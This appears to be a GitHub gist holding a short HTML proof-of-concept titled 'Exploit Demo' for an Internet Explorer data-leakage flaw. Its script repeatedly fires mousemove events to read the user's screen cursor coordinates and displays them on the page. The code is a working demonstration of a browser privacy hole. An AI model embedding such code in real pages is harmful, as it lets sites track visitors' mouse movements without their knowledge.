Skip to content

Instantly share code, notes, and snippets.

@evandrix
Created December 13, 2012 06:49
Show Gist options
  • Save evandrix/4274604 to your computer and use it in GitHub Desktop.
Save evandrix/4274604 to your computer and use it in GitHub Desktop.
Internet Explorer Data Leakage
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8" />
<title>Exploit Demo</title>
<script type="text/javascript">
window.attachEvent("onload", function() {
var detector = document.getElementById("detector");
detector.attachEvent("onmousemove", function (e) {
detector.innerHTML = e.screenX + ", " + e.screenY;
});
setInterval(function () {
detector.fireEvent("onmousemove");
}, 100);
});
</script>
</head>
<body>
<div id="detector"></div>
</body>
</html>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment